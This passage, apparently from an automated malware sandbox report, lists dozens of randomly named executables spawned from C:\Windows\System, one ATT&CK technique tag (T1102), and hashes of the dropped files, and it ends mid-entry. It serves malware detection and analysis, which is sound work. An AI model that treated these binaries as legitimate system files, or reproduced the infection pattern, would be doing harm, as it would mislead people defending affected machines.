  PID:14784
- C:\Windows\System\nEgVNKZ.exe
  C:\Windows\System\nEgVNKZ.exe
  2⤵
  PID:14396
- C:\Windows\System\KtvpzCm.exe
  C:\Windows\System\KtvpzCm.exe
  2⤵
  PID:8652
- C:\Windows\System\bevtQdg.exe
  C:\Windows\System\bevtQdg.exe
  2⤵
  PID:14964
- C:\Windows\System\omiZRSR.exe
  C:\Windows\System\omiZRSR.exe
  2⤵
  PID:7568
- C:\Windows\System\PCdUQlm.exe
  C:\Windows\System\PCdUQlm.exe
  2⤵
  PID:7408
- C:\Windows\System\VgkjJcn.exe
  C:\Windows\System\VgkjJcn.exe
  2⤵
  PID:5284
- C:\Windows\System\KmiBBIV.exe
  C:\Windows\System\KmiBBIV.exe
  2⤵
  PID:9180
- C:\Windows\System\FJDyeKa.exe
  C:\Windows\System\FJDyeKa.exe
  2⤵
  PID:6884
- C:\Windows\System\PqAGqpM.exe
  C:\Windows\System\PqAGqpM.exe
  2⤵
  PID:8324
- C:\Windows\System\qgSxvWj.exe
  C:\Windows\System\qgSxvWj.exe
  2⤵
  PID:7920
- C:\Windows\System\eRpZDza.exe
  C:\Windows\System\eRpZDza.exe
  2⤵
  PID:14748
- C:\Windows\System\LvcbVhP.exe
  C:\Windows\System\LvcbVhP.exe
  2⤵
  PID:6404
- C:\Windows\System\IeUcMXV.exe
  C:\Windows\System\IeUcMXV.exe
  2⤵
  PID:7008
- C:\Windows\System\rPFCuan.exe
  C:\Windows\System\rPFCuan.exe
  2⤵
  PID:9016
- C:\Windows\System\KPttRkX.exe
  C:\Windows\System\KPttRkX.exe
  2⤵
  PID:8428
- C:\Windows\System\CaiAgoh.exe
  C:\Windows\System\CaiAgoh.exe
  2⤵
  PID:8856
- C:\Windows\System\eapphPR.exe
  C:\Windows\System\eapphPR.exe
  2⤵
  PID:5756
- C:\Windows\System\WEuHZxI.exe
  C:\Windows\System\WEuHZxI.exe
  2⤵
  PID:8624
- C:\Windows\System\LTEQylh.exe
  C:\Windows\System\LTEQylh.exe
  2⤵
  PID:7616
- C:\Windows\System\XIntnSO.exe
  C:\Windows\System\XIntnSO.exe
  2⤵
  PID:14732
- C:\Windows\System\melJcwN.exe
  C:\Windows\System\melJcwN.exe
  2⤵
  PID:14596
- C:\Windows\System\BeZMetj.exe
  C:\Windows\System\BeZMetj.exe
  2⤵
  PID:15024
- C:\Windows\System\SlEUGsk.exe
  C:\Windows\System\SlEUGsk.exe
  2⤵
  PID:9116
- C:\Windows\System\lSbpoWP.exe
  C:\Windows\System\lSbpoWP.exe
  2⤵
  PID:12992
- C:\Windows\System\tVBfJHv.exe
  C:\Windows\System\tVBfJHv.exe
  2⤵
  PID:14764
- C:\Windows\System\XvebadP.exe
  C:\Windows\System\XvebadP.exe
  2⤵
  PID:14676
- C:\Windows\System\upXBMJR.exe
  C:\Windows\System\upXBMJR.exe
  2⤵
  PID:14356
- C:\Windows\System\enrAyDA.exe
  C:\Windows\System\enrAyDA.exe
  2⤵
  PID:14488
- C:\Windows\System\wSUcfVY.exe
  C:\Windows\System\wSUcfVY.exe
  2⤵
  PID:13908
- C:\Windows\System\voGIYfS.exe
  C:\Windows\System\voGIYfS.exe
  2⤵
  PID:8584
- C:\Windows\System\YMBrKdd.exe
  C:\Windows\System\YMBrKdd.exe
  2⤵
  PID:8828
- C:\Windows\System\OZYWQGa.exe
  C:\Windows\System\OZYWQGa.exe
  2⤵
  PID:14640
- C:\Windows\System\BKVXSaj.exe
  C:\Windows\System\BKVXSaj.exe
  2⤵
  PID:8684
- C:\Windows\System\ABhpiRT.exe
  C:\Windows\System\ABhpiRT.exe
  2⤵
  PID:5536
- C:\Windows\System\BHlgepI.exe
  C:\Windows\System\BHlgepI.exe
  2⤵
  PID:8992
- C:\Windows\System\phVoJcH.exe
  C:\Windows\System\phVoJcH.exe
  2⤵
  PID:15012
- C:\Windows\System\uEwpaVK.exe
  C:\Windows\System\uEwpaVK.exe
  2⤵
  PID:9708
- C:\Windows\System\tqRFCkd.exe
  C:\Windows\System\tqRFCkd.exe
  2⤵
  PID:8444
- C:\Windows\System\wxJzHwW.exe
  C:\Windows\System\wxJzHwW.exe
  2⤵
  PID:9156
- C:\Windows\System\GQLkfMc.exe
  C:\Windows\System\GQLkfMc.exe
  2⤵
  PID:15156
- C:\Windows\System\DKSnRhq.exe
  C:\Windows\System\DKSnRhq.exe
  2⤵
  PID:14164
- C:\Windows\System\WxLjdrn.exe
  C:\Windows\System\WxLjdrn.exe
  2⤵
  PID:8600
- C:\Windows\System\CvwixUa.exe
  C:\Windows\System\CvwixUa.exe
  2⤵
  PID:15200
- C:\Windows\System\huSsdAl.exe
  C:\Windows\System\huSsdAl.exe
  2⤵
  PID:15252
- C:\Windows\System\dmdHtCT.exe
  C:\Windows\System\dmdHtCT.exe
  2⤵
  PID:3012
- C:\Windows\System\oADqzwm.exe
  C:\Windows\System\oADqzwm.exe
  2⤵
  PID:6896
- C:\Windows\System\qmMkdvM.exe
  C:\Windows\System\qmMkdvM.exe
  2⤵
  PID:10180
- C:\Windows\System\YOhzUeu.exe
  C:\Windows\System\YOhzUeu.exe
  2⤵
  PID:9984
- C:\Windows\System\TUMBgRi.exe
  C:\Windows\System\TUMBgRi.exe
  2⤵
  PID:15352
- C:\Windows\System\tjvnhRJ.exe
  C:\Windows\System\tjvnhRJ.exe
  2⤵
  PID:9108
- C:\Windows\System\QwgpGXZ.exe
  C:\Windows\System\QwgpGXZ.exe
  2⤵
  PID:15008
- C:\Windows\System\qENihkZ.exe
  C:\Windows\System\qENihkZ.exe
  2⤵
  PID:5364
- C:\Windows\System\RLxKpCB.exe
  C:\Windows\System\RLxKpCB.exe
  2⤵
  PID:8256
- C:\Windows\System\VpGeLoy.exe
  C:\Windows\System\VpGeLoy.exe
  2⤵
  PID:6064
- C:\Windows\System\nlsQLgb.exe
  C:\Windows\System\nlsQLgb.exe
  2⤵
  PID:8808
- C:\Windows\System\vCbGqDf.exe
  C:\Windows\System\vCbGqDf.exe
  2⤵
  PID:9060
- C:\Windows\System\zhoPmLw.exe
  C:\Windows\System\zhoPmLw.exe
  2⤵
  PID:7348
- C:\Windows\System\UlROQxL.exe
  C:\Windows\System\UlROQxL.exe
  2⤵
  PID:7852
- C:\Windows\System\PvGZXYP.exe
  C:\Windows\System\PvGZXYP.exe
  2⤵
  PID:9876
- C:\Windows\System\YMDoSqp.exe
  C:\Windows\System\YMDoSqp.exe
  2⤵
  PID:8140
- C:\Windows\System\zparJpC.exe
  C:\Windows\System\zparJpC.exe
  2⤵
  PID:10024
- C:\Windows\System\uutvLcb.exe
  C:\Windows\System\uutvLcb.exe
  2⤵
  PID:10012
- C:\Windows\System\oTqWJmQ.exe
  C:\Windows\System\oTqWJmQ.exe
  2⤵
  PID:6224
- C:\Windows\System\dpULhaY.exe
  C:\Windows\System\dpULhaY.exe
  2⤵
  PID:9332
- C:\Windows\System\EicUJFj.exe
  C:\Windows\System\EicUJFj.exe
  2⤵
  PID:8552
- C:\Windows\System\jKfkWBn.exe
  C:\Windows\System\jKfkWBn.exe
  2⤵
  PID:8504
- C:\Windows\System\aQIASWg.exe
  C:\Windows\System\aQIASWg.exe
  2⤵
  PID:15240
- C:\Windows\System\cMApVbb.exe
  C:\Windows\System\cMApVbb.exe
  2⤵
  PID:9124
- C:\Windows\System\kgJSmTj.exe
  C:\Windows\System\kgJSmTj.exe
  2⤵
  PID:9400
- C:\Windows\System\ZZseHSB.exe
  C:\Windows\System\ZZseHSB.exe
  2⤵
  PID:7388
- C:\Windows\System\eeIdYFQ.exe
  C:\Windows\System\eeIdYFQ.exe
  2⤵
  PID:13560
- C:\Windows\System\GSTmKmG.exe
  C:\Windows\System\GSTmKmG.exe
  2⤵
  PID:6936
- C:\Windows\System\GiuKmfB.exe
  C:\Windows\System\GiuKmfB.exe
  2⤵
  PID:15208
- C:\Windows\System\vGuTuYZ.exe
  C:\Windows\System\vGuTuYZ.exe
  2⤵
  PID:10224
- C:\Windows\System\aGtEeyO.exe
  C:\Windows\System\aGtEeyO.exe
  2⤵
  PID:10204
- C:\Windows\System\cLSrqBi.exe
  C:\Windows\System\cLSrqBi.exe
  2⤵
  PID:8016
- C:\Windows\System\JAJpiDM.exe
  C:\Windows\System\JAJpiDM.exe
  2⤵
  PID:7184
- C:\Windows\System\BKkjWst.exe
  C:\Windows\System\BKkjWst.exe
  2⤵
  PID:7456
- C:\Windows\System\nKnchuE.exe
  C:\Windows\System\nKnchuE.exe
  2⤵
  PID:15172
- C:\Windows\System\yTqEWiv.exe
  C:\Windows\System\yTqEWiv.exe
  2⤵
  PID:2332
- C:\Windows\System\zBfqPfv.exe
  C:\Windows\System\zBfqPfv.exe
  2⤵
  PID:14648
- C:\Windows\System\lBvroZD.exe
  C:\Windows\System\lBvroZD.exe
  2⤵
  PID:15368
- C:\Windows\System\tWbxqgC.exe
  C:\Windows\System\tWbxqgC.exe
  2⤵
  PID:15396
- C:\Windows\System\lPxrUoj.exe
  C:\Windows\System\lPxrUoj.exe
  2⤵
  PID:15420
- C:\Windows\System\BwdZOkW.exe
  C:\Windows\System\BwdZOkW.exe
  2⤵
  PID:15444
- C:\Windows\System\xYHFKst.exe
  C:\Windows\System\xYHFKst.exe
  2⤵
  PID:15468
- C:\Windows\System\nJdKRCV.exe
  C:\Windows\System\nJdKRCV.exe
  2⤵
  PID:15484
- C:\Windows\System\CgGXzHA.exe
  C:\Windows\System\CgGXzHA.exe
  2⤵
  PID:15504
- C:\Windows\System\awkYDqI.exe
  C:\Windows\System\awkYDqI.exe
  2⤵
  PID:15524
- C:\Windows\System\IgZFHre.exe
  C:\Windows\System\IgZFHre.exe
  2⤵
  PID:15552
- C:\Windows\System\fEBgSej.exe
  C:\Windows\System\fEBgSej.exe
  2⤵
  PID:15580
- C:\Windows\System\ioaflqL.exe
  C:\Windows\System\ioaflqL.exe
  2⤵
  PID:15600
- C:\Windows\System\nTgihGt.exe
  C:\Windows\System\nTgihGt.exe
  2⤵
  PID:15628
- C:\Windows\System\kiZSJRb.exe
  C:\Windows\System\kiZSJRb.exe
  2⤵
  PID:15648
- C:\Windows\System\TkUpXtw.exe
  C:\Windows\System\TkUpXtw.exe
  2⤵
  PID:15668
- C:\Windows\System\jYnBmuk.exe
  C:\Windows\System\jYnBmuk.exe
  2⤵
  PID:15980
- C:\Windows\System\AUTMoyE.exe
  C:\Windows\System\AUTMoyE.exe
  2⤵
  PID:16004
- C:\Windows\System\WwbdfAb.exe
  C:\Windows\System\WwbdfAb.exe
  2⤵
  PID:16028
- C:\Windows\System\yBweOjT.exe
  C:\Windows\System\yBweOjT.exe
  2⤵
  PID:16048
- C:\Windows\System\LPqPhaZ.exe
  C:\Windows\System\LPqPhaZ.exe
  2⤵
  PID:16064
- C:\Windows\System\paLSfRI.exe
  C:\Windows\System\paLSfRI.exe
  2⤵
  PID:16080
- C:\Windows\System\bCuiseW.exe
  C:\Windows\System\bCuiseW.exe
  2⤵
  PID:16116
- C:\Windows\System\QaAAMwn.exe
  C:\Windows\System\QaAAMwn.exe
  2⤵
  PID:16132
- C:\Windows\System\pgdVmYT.exe
  C:\Windows\System\pgdVmYT.exe
  2⤵
  PID:16148
- C:\Windows\System\FiQrySZ.exe
  C:\Windows\System\FiQrySZ.exe
  2⤵
  PID:16164
- C:\Windows\System\WmuYnqJ.exe
  C:\Windows\System\WmuYnqJ.exe
  2⤵
  PID:16180
- C:\Windows\System\KmMxQtb.exe
  C:\Windows\System\KmMxQtb.exe
  2⤵
  PID:16196
- C:\Windows\System\iklkLnO.exe
  C:\Windows\System\iklkLnO.exe
  2⤵
  PID:16216
- C:\Windows\System\cmGdBil.exe
  C:\Windows\System\cmGdBil.exe
  2⤵
  PID:16236
- C:\Windows\System\KQSjUcd.exe
  C:\Windows\System\KQSjUcd.exe
  2⤵
  PID:16260
- C:\Windows\System\JOSBhHp.exe
  C:\Windows\System\JOSBhHp.exe
  2⤵
  PID:16280
- C:\Windows\System\YZanzjw.exe
  C:\Windows\System\YZanzjw.exe
  2⤵
  PID:16304
- C:\Windows\System\lngcoiQ.exe
  C:\Windows\System\lngcoiQ.exe
  2⤵
  PID:16336
- C:\Windows\System\cjFQhBb.exe
  C:\Windows\System\cjFQhBb.exe
  2⤵
  PID:16356
- C:\Windows\System\wChsBqs.exe
  C:\Windows\System\wChsBqs.exe
  2⤵
  PID:16376
- C:\Windows\System\rDfTJDS.exe
  C:\Windows\System\rDfTJDS.exe
  2⤵
  PID:10044
- C:\Windows\System\qyhCfrB.exe
  C:\Windows\System\qyhCfrB.exe
  2⤵
  PID:9944
- C:\Windows\System\fadYHrc.exe
  C:\Windows\System\fadYHrc.exe
  2⤵
  PID:8152
- C:\Windows\System\NSTjgRK.exe
  C:\Windows\System\NSTjgRK.exe
  2⤵
  PID:10548
- C:\Windows\System\yLYCjVi.exe
  C:\Windows\System\yLYCjVi.exe
  2⤵
  PID:9380
- C:\Windows\System\vdHckou.exe
  C:\Windows\System\vdHckou.exe
  2⤵
  PID:9872
- C:\Windows\System\QpSvdIa.exe
  C:\Windows\System\QpSvdIa.exe
  2⤵
  PID:14376
- C:\Windows\System\goJPpHC.exe
  C:\Windows\System\goJPpHC.exe
  2⤵
  PID:15220
- C:\Windows\System\BIAHKJC.exe
  C:\Windows\System\BIAHKJC.exe
  2⤵
  PID:11256
- C:\Windows\System\vRwiEeu.exe
  C:\Windows\System\vRwiEeu.exe
  2⤵
  PID:7720
- C:\Windows\System\HiZxMUm.exe
  C:\Windows\System\HiZxMUm.exe
  2⤵
  PID:10284
- C:\Windows\System\Rgkyibc.exe
  C:\Windows\System\Rgkyibc.exe
  2⤵
  PID:15376
- C:\Windows\System\mtTuztM.exe
  C:\Windows\System\mtTuztM.exe
  2⤵
  PID:10976
- C:\Windows\System\wUMjaBv.exe
  C:\Windows\System\wUMjaBv.exe
  2⤵
  PID:16076
- C:\Windows\System\CcfAZbJ.exe
  C:\Windows\System\CcfAZbJ.exe
  2⤵
  PID:11352
- C:\Windows\System\ENdwAoa.exe
  C:\Windows\System\ENdwAoa.exe
  2⤵
  PID:11440
- C:\Windows\System\JqseRKB.exe
  C:\Windows\System\JqseRKB.exe
  2⤵
  PID:11448
- C:\Windows\System\ZCnyWMR.exe
  C:\Windows\System\ZCnyWMR.exe
  2⤵
  PID:9492
- C:\Windows\System\lBHhrEh.exe
  C:\Windows\System\lBHhrEh.exe
  2⤵
  PID:16292
- C:\Windows\System\PaQvyMr.exe
  C:\Windows\System\PaQvyMr.exe
  2⤵
  PID:16324
- C:\Windows\System\vGMVcaQ.exe
  C:\Windows\System\vGMVcaQ.exe
  2⤵
  PID:16368
- C:\Windows\System\vgUWDiF.exe
  C:\Windows\System\vgUWDiF.exe
  2⤵
  PID:9436
- C:\Windows\System\SDwOHQL.exe
  C:\Windows\System\SDwOHQL.exe
  2⤵
  PID:12172
- C:\Windows\System\CXBvFVI.exe
  C:\Windows\System\CXBvFVI.exe
  2⤵
  PID:8060
- C:\Windows\System\KmyMRwB.exe
  C:\Windows\System\KmyMRwB.exe
  2⤵
  PID:15436
- C:\Windows\System\omsLYqk.exe
  C:\Windows\System\omsLYqk.exe
  2⤵
  PID:11816
- C:\Windows\System\SMjUXOy.exe
  C:\Windows\System\SMjUXOy.exe
  2⤵
  PID:15492
- C:\Windows\System\FeIscsc.exe
  C:\Windows\System\FeIscsc.exe
  2⤵
  PID:15548
- C:\Windows\System\GbfgihC.exe
  C:\Windows\System\GbfgihC.exe
  2⤵
  PID:15612
- C:\Windows\System\zwhnixc.exe
  C:\Windows\System\zwhnixc.exe
  2⤵
  PID:15640
- C:\Windows\System\gPJxWYT.exe
  C:\Windows\System\gPJxWYT.exe
  2⤵
  PID:15680
- C:\Windows\System\zAGOPDx.exe
  C:\Windows\System\zAGOPDx.exe
  2⤵
  PID:10600
- C:\Windows\System\kyGPMxY.exe
  C:\Windows\System\kyGPMxY.exe
  2⤵
  PID:15824
- C:\Windows\System\BLwoguv.exe
  C:\Windows\System\BLwoguv.exe
  2⤵
  PID:16332
- C:\Windows\System\IAcRorG.exe
  C:\Windows\System\IAcRorG.exe
  2⤵
  PID:11004
- C:\Windows\System\NxBmvWO.exe
  C:\Windows\System\NxBmvWO.exe
  2⤵
  PID:12176
- C:\Windows\System\jshgnwz.exe
  C:\Windows\System\jshgnwz.exe
  2⤵
  PID:10828
- C:\Windows\System\GBrMxZH.exe
  C:\Windows\System\GBrMxZH.exe
  2⤵
  PID:11408
- C:\Windows\System\vFhtcHt.exe
  C:\Windows\System\vFhtcHt.exe
  2⤵
  PID:16024
- C:\Windows\System\PKQlxon.exe
  C:\Windows\System\PKQlxon.exe
  2⤵
  PID:16108
- C:\Windows\System\XCcUiPG.exe
  C:\Windows\System\XCcUiPG.exe
  2⤵
  PID:16172
- C:\Windows\System\HdCyOhH.exe
  C:\Windows\System\HdCyOhH.exe
  2⤵
  PID:16272
- C:\Windows\System\EwhXIfE.exe
  C:\Windows\System\EwhXIfE.exe
  2⤵
  PID:10748
- C:\Windows\System\jJJAeAs.exe
  C:\Windows\System\jJJAeAs.exe
  2⤵
  PID:8612
- C:\Windows\System\jVzUlrF.exe
  C:\Windows\System\jVzUlrF.exe
  2⤵
  PID:10104
- C:\Windows\System\SxJsfrz.exe
  C:\Windows\System\SxJsfrz.exe
  2⤵
  PID:5504
- C:\Windows\System\RofenxT.exe
  C:\Windows\System\RofenxT.exe
  2⤵
  PID:10876
- C:\Windows\System\JFwrgNI.exe
  C:\Windows\System\JFwrgNI.exe
  2⤵
  PID:7992
- C:\Windows\System\DKRnoSr.exe
  C:\Windows\System\DKRnoSr.exe
  2⤵
  PID:12188
- C:\Windows\System\tMwhbnW.exe
  C:\Windows\System\tMwhbnW.exe
  2⤵
  PID:4816
- C:\Windows\System\TeAPalZ.exe
  C:\Windows\System\TeAPalZ.exe
  2⤵
  PID:8892
- C:\Windows\System\ZdOvcPf.exe
  C:\Windows\System\ZdOvcPf.exe
  2⤵
  PID:15804
- C:\Windows\System\HHkaHMV.exe
  C:\Windows\System\HHkaHMV.exe
  2⤵
  PID:12268
- C:\Windows\System\SKubzvN.exe
  C:\Windows\System\SKubzvN.exe
  2⤵
  PID:11556
- C:\Windows\System\ThzmULH.exe
  C:\Windows\System\ThzmULH.exe
  2⤵
  PID:11424
- C:\Windows\System\ZIEYZWe.exe
  C:\Windows\System\ZIEYZWe.exe
  2⤵
  PID:14944
- C:\Windows\System\UOaCEeH.exe
  C:\Windows\System\UOaCEeH.exe
  2⤵
  PID:10576
- C:\Windows\System\fCCkrIe.exe
  C:\Windows\System\fCCkrIe.exe
  2⤵
  PID:12284
- C:\Windows\System\zftTBdb.exe
  C:\Windows\System\zftTBdb.exe
  2⤵
  PID:12232
- C:\Windows\System\yKaBHZi.exe
  C:\Windows\System\yKaBHZi.exe
  2⤵
  PID:12252
- C:\Windows\System\vKOLvQc.exe
  C:\Windows\System\vKOLvQc.exe
  2⤵
  PID:12828
- C:\Windows\System\rowiiTv.exe
  C:\Windows\System\rowiiTv.exe
  2⤵
  PID:12080
- C:\Windows\System\JiEmFiF.exe
  C:\Windows\System\JiEmFiF.exe
  2⤵
  PID:9076
- C:\Windows\System\nPaDkyW.exe
  C:\Windows\System\nPaDkyW.exe
  2⤵
  PID:10176
- C:\Windows\System\pbnqJlL.exe
  C:\Windows\System\pbnqJlL.exe
  2⤵
  PID:12376
- C:\Windows\System\BpXnIPS.exe
  C:\Windows\System\BpXnIPS.exe
  2⤵
  PID:12736
- C:\Windows\System\PeJLLHn.exe
  C:\Windows\System\PeJLLHn.exe
  2⤵
  PID:13048
- C:\Windows\System\DlATTMN.exe
  C:\Windows\System\DlATTMN.exe
  2⤵
  PID:12120
- C:\Windows\System\QzltCuI.exe
  C:\Windows\System\QzltCuI.exe
  2⤵
  PID:13040
- C:\Windows\System\HorlnZS.exe
  C:\Windows\System\HorlnZS.exe
  2⤵
  PID:16348
- C:\Windows\System\yqWxNFB.exe
  C:\Windows\System\yqWxNFB.exe
  2⤵
  PID:2552
- C:\Windows\System\MjwEJvm.exe
  C:\Windows\System\MjwEJvm.exe
  2⤵
  PID:15500
- C:\Windows\System\GoSBxpP.exe
  C:\Windows\System\GoSBxpP.exe
  2⤵
  PID:11960
- C:\Windows\System\YBferVV.exe
  C:\Windows\System\YBferVV.exe
  2⤵
  PID:13080
- C:\Windows\System\WkNaXhP.exe
  C:\Windows\System\WkNaXhP.exe
  2⤵
  PID:12256
- C:\Windows\System\YhsslUs.exe
  C:\Windows\System\YhsslUs.exe
  2⤵
  PID:11416
- C:\Windows\System\JobFHwZ.exe
  C:\Windows\System\JobFHwZ.exe
  2⤵
  PID:14836
- C:\Windows\System\IUgJgid.exe
  C:\Windows\System\IUgJgid.exe
  2⤵
  PID:1876
- C:\Windows\System\aSweucj.exe
  C:\Windows\System\aSweucj.exe
  2⤵
  PID:11444

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=5612 --field-trial-handle=3060,i,1774866140584649235,8085848018931772189,262144 --variations-seed-version /prefetch:8
1⤵
PID:13228

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=fallback-handler --database="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --exception-pointers=10617161695424 --process=260 /prefetch:7 --thread=180
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:13600

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l3hpnlnm.s10.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\BFPQMCv.exe

Filesize
2.1MB

MD5
bbe254263e48deaf9443c5ffc88af525

SHA1
8453e94f0b628d83ae95bfb3aa75a8129f6284a6

SHA256
16b6b51bcb57a304969f1452902f6ba323d4b3663adae35447fd48c843a4ada3

SHA512
ac2aef664ea5f7c0bcd72eff41e0d8b155cc69fe5c71fef4fed1ebea23b4fd88125f45ed9d87ce644a540b932daacf87e6bd2de870836a5a8e66474c15348134

Download Submit
C:\Windows\System\BIvIaov.exe

Filesize
2.1MB

MD5
5aa3c7992aa78a4b8903ffe7b2a2ced9

SHA1
15e024299eccc61e34906f2bd8aaeb0d5ad9ee7d

SHA256
7ab2ef5255c89d82ea5c41e2048f9d74275c3e8262865435381c8e4afa71fcb2

SHA512
49e14d6e5504448fe48a921bd2525f46a93e5efdba98f173b08e1f13a9b8e9644ea9f85f67b398cf1f43a6f5e8507c719bb94a71b905050820eceed55552ba2e

Download Submit
C:\Windows\System\BTvebGQ.exe

Filesize
2.1MB

MD5
8b20c0d23deef12f715bc5a125950579

SHA1
ab47db8feec077606b6251c5a292cec48da98fc3

SHA256
8b9d3c2cf15994a3bad6e7dababa9e83560195d8f665f78c5bfb4b324648b244

SHA512
6b6c480645239408e062404362b63399acdee99bc62a53ff1e53d08dcb81cd5d4c4443f3350bb3454222df6b3572bf5f00eed7fa46dc73d37b62b743967b5634

Download Submit
C:\Windows\System\DatsgEj.exe

Filesize
2.1MB

MD5
b9843b43611047690f0fa1565ab5dd6d

SHA1
7e3fb6292a8a7ce33fab0d399eddf233c668d124

SHA256
75350f38a06e3d91d1744dbf85b80a444a3afacb589b62f9cccc7d24173b70f1

SHA512
b59abb82255f9ad7954423e70ce76039b15c72e4b0a37885e617fe02de3206fb3603900a9612e344008cfda7231aa7475fbb20f7764b9d374bcf1cef22ff14da

Download Submit
C:\Windows\System\DnfFDcB.exe

Filesize
2.1MB

MD5
fbdbc9e3227b9035df1d9bbd5555a43d

SHA1
d6831974d30c225d514b94de03869ed522fcf988

SHA256
cb399c1d917b870b35419c6dfc3fffa1d17f4842b7b845c76d859c118470dbf0

SHA512
d8c47a9a3e2ac2313198e158566e237af81378266c0be5985a793d18995e0a3a3485cb6395efce6f8a0d1439e4a071c064d2a2601f189b7b59f16989283bfb50

Download Submit
C:\Windows\System\EOaLkYE.exe

Filesize
2.1MB

MD5
f60eb914c77dd44a193a697f4b3db96e

SHA1
43847a81fd21307b751ab0f37273dc0444ebd6b1

SHA256
cf703f324f0ab3c6bd4d539289c69075f7b869a0928cfe2c40f5046079778247

SHA512
28c95f174b293a8d45f215e19c258d2685d422b6d3b4ef26b756955bc1df0f86247d062751d0be00b9f13b8c228caf7e1f099327dffd7a97356e80596f152923

Download Submit
C:\Windows\System\FElLifI.exe

Filesize
2.1MB

MD5
e8f3daef2faf8f8cd12ee2b2f5381383

SHA1
0ae544fde78a539febbe31ace8b2f0d5400ddc2a

SHA256
d79edad1e6140cc97fc64d9a1156aa68f70d2a56275427dd0e6488b4d8020a29

SHA512
28b775c5dc36f6d22f827e719fd2f396b5433a147a23265049391288b3ab19f3322047f5be10440865a35487eca5e483bb40e3a66a471f60bc0001043110ab33

Download Submit
C:\Windows\System\FrrPUjG.exe

Filesize
2.1MB

MD5
cccea4b56187464de47aa3bac8289da9

SHA1
7fa651223803a9ac5d05674d6fb4df33b74c71b1

SHA256
918ac2bb696fa1f5160683d9372731c51edbe562c915f434485253fcfff0447a

SHA512
6a877bcb85e829210edec9d33b6fcbded8eca494ead3975bae0849546163294adf719c668e5778f4f213c4dee5ab5ddf3e3506cba64e1e4d0f75c149dbf498d2

Download Submit
C:\Windows\System\HbwXVoZ.exe

Filesize
2.1MB

MD5
3ff65ceecdb2bb863f597c4c9efe20f4

SHA1
e7b9bb7e8d7165adbcbac8ee1e2a067c56d6a7d9

SHA256
42fb5cd2551b7c2920974d9c09dcc2965fbb0ccdad63423a0043172d2b1779b3

SHA512
891828653ee0d932186bd20b4d842f1057c9b1bf36e3067df1d2e6795054ce6ff0a51c33b376638b9c0f4793ca674bb9e814614c12c5e44acbfccb38ef789fd1

Download Submit
C:\Windows\System\HqOQjCb.exe

Filesize
2.1MB

MD5
90d48d711d5ae4a4c7a5d6b9301c61d9

SHA1
3787cc653416c8d976d23fa990e2715e402c7d26

SHA256
07d8b285c777474b2d763e54c6b0a41eb7a21166f097e8593aff6cc7ee824ebe

SHA512
010c9182044061128df52674c0d5b27aa951050888f50e64d4edd38f6c7160c5a5968331e1f1af7052927096119b37c765d1a77e77af6f3306c502789d5fc364

Download Submit
C:\Windows\System\MRfCYcZ.exe

Filesize
2.1MB

MD5
4f60f2f4c3fee556e1f1d59b2b295e6c

SHA1
f8bb54fefe3b2bba613fa4721d9c768558df927e

SHA256
86c22853013a46f5aed98e4ab755a73a85d8f13a1b1954831192538565635f91

SHA512
6dded7c5e5b1c72f9b1e81ca0eafd0a35c22ee7c46fa48d327f69bb21d3bd151e5e461a13d48c0933ee954d17836f06dcbfe4664209f43133991b9c8a8dd6211

Download Submit
C:\Windows\System\SrPNVvq.exe

Filesize
2.1MB

MD5
0ef3d0741d1390687e9ac48b429b68ce

SHA1
146bda44c58622647c1b3ee8758b330ad68163d9

SHA256
4a521769b8bc9f77bcd89388cc595cad4a99967c2dbe868220daa8f050acb669

SHA512
291b997e948eed42024da8c557db5bf183bef901fa87dad06e5c214f84d4bbf4f7327aaf312822234b401c1a14154a9d9151ce1c26c74af2e0647c98d576939b

Download Submit
C:\Windows\System\TsQYNhc.exe

Filesize
2.1MB

MD5
a1d9907644a1bbdde3f93deba97e2550

SHA1
4315819b69e70fb5acc7155c7e17ee93c6ff9aeb

SHA256
8dbbc200461f88717e80774433683326bf36c643a75b464cc127ff5dc10a42be

SHA512
b5e38d8e78483e914bc6afdad6b737c21ecb65b3b8cbe5e435b6a2ca84a45f02d75a1e0648fcf8f88e2ed52337da1d3a02714848de885ac1a45878721efd7f29

Download Submit
C:\Windows\System\VGmHjXq.exe

Filesize
2.1MB

MD5
8e30225f59ec0ed88432530b2d62270e

SHA1
efba840f8821f43220ea96a088c63074c2f74c08

SHA256
f1b852c1a345526b232eb976072b343223201caac3a2cd3f187bbdbdc58eb55a

SHA512
c853a0a6a1ecc3ac933001dd911c099e0236f17199435e6b4bcaeda32dda5e7f55fef4d32390647c1a50736d23711e326996d8dda600a55037460dd793d37ccc

Download Submit
C:\Windows\System\axZCIeV.exe

Filesize
2.1MB

MD5
896e419e69e4c8b0e16bb66f711f245f

SHA1
2d5caff125a5153140a2d190d937cb53e8cc3fdf

SHA256
e927b76a2eaaf2bae4f545be36d07b9e5b5eef64f833ba821d0b7cc7e849e340

SHA512
a28d861151fa3ce87237c0722098f30a25a6b484ec2cb06065a5f4c281e75b32c518f6ac2483b5c829391a88fde47ab62ba63229ad59c4b4fe8bd866d860446f

Download Submit
C:\Windows\System\bSYBKbp.exe

Filesize
2.1MB

MD5
8a6ebd7592a22f71018553fa2aef6c47

SHA1
6310ede9d33ae747846194cee1c75b5d7ab71eff

SHA256
9eb6bac1de87c5898104911d0428c4f2ea3958512db0e3673a2a81782c5207ae

SHA512
